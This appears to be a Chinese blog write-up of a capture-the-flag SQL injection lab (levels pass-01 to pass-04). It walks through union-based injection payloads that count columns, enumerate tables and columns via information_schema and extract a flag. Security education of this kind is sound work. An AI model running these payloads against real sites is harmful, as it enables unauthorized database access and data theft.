SQL注入之显错注入

Sql注入
原理:将用户输入的数据当做sql语句来执行
两个条件:1.用户能用控制输入的内容
2.程序原本要执行的代码拼接了用户的数据执行

pass-01
1.由url判断为get传参
2.输入?id=1 and 1=1,页面显示正常
输入?id=1 and 1=2,页面显示错误
由此判断为数字型注入且有回显
3.输入?id=1 order by 4 页面显示错误
输入?id=1 order by 3 页面显示正常
由此判断当前表中字段数为3
4.使用联合查询
输入?id=1 and 1=2 union select 1,2,3 令第一条语句为假只输出第二条语句即可测试回显位置
在这里插入图片描述

5.使用select语句替换2进行子查询来获得表名(这里我选择用group_concat()函数而非limit)
输入?id=1 and 1=2 union select 1,(select
group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()),3
在这里插入图片描述

6.目标表名疑似为error_flag,继续查询获得字段名
输入?id=1 and 1=2 union select 1,(select group_concat(0x7e,column_name) from information_schema.columns where table_name=’error_flag’),3
在这里插入图片描述

7.发现目标flag,继续查询获得flag
?id=1 and 1=2 union select 1,(select group_concat(0x7e,flag) from error_flag ),3
在这里插入图片描述

pass-02
1.输入?id=2 and 1=1 与 ?id=2 and 1=1页面均正常,判断是字符型注入
2.输入?id=2’ and 1=1— qw 页面显示正常
输入?id=2’ and 1=2— qw 页面显示错误
判断闭合符号为’
剩下步骤同pass-01 3~7
pass-03
闭合符号为’),同pass-02.
pass-04
闭合符号为”),同pass-02.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值